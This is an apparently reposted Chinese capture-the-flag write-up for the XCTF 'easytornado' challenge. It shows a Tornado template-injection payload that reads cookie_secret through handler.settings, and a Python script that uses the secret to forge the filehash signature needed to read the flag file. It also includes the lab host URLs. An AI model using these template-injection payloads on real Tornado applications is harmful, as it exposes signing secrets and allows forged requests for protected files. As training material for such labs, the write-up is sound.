攻防世界easytornado-tornado模板注入

XCTF - easytornado


本题知识点

  • ssti 注入
  • tornado模板注入
  • tornado cookie_secret获取


打开网页,发现三个txt,分别打开
flag.txt中给出提示,flag在fllllllllllllag文件中

welcome.txt中,发现有个render提示,在tornado 中render为渲染作用


hints.txt中又有提示,通过分析为filehash参数的计算方法。

通过上面三个的分析,可以得出,我们需要构建一个url为
http://61.147.171.105:59757/file?filename=/fllllllllllllag&filehash=8118900642aec29fd2e086878b1b1613
此时我们需要计算出filehash的值即可。
计算方法如下:md5(cookie_secret+md5(filename)),此时我们只需要获取cookie_secret即可。
通过题目提示和welcome.txt提示可以发现为tornado模板注入,cookie_secret获取方法如下:

render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如
{ { escape(handler.settings[“cookie”]) }}

这两个{ {}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings了!

大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
如此,我们首先要找到模板注入的参数,此时我们将


回车后发现页面跳转到一个错误信息返回的界面,我们在此处尝试注入

输入{ {1}},返回值为1,此处存在注入。直接输入payload读取cookie_secret即可。

编写脚本获取filehash,

import hashlib
def get_md5(content):
    md5 = hashlib.md5()
    md5.update(content.encode('utf-8'))
    return md5.hexdigest()
filename="/fllllllllllllag"
cookie_secret="3e22a263-3d8e-4562-b868-48945ac1f5b0"
no_md5_filehash=cookie_secret+get_md5(filename)
filehash=get_md5(no_md5_filehash)
print(filehash)

输入payload获取flag
http://61.147.171.105:59757/file?filename=/fllllllllllllag&filehash=21fa07d6595f51191129893c59e427db

猜你喜欢

转载自blog.csdn.net/yuanxu8877/article/details/128079863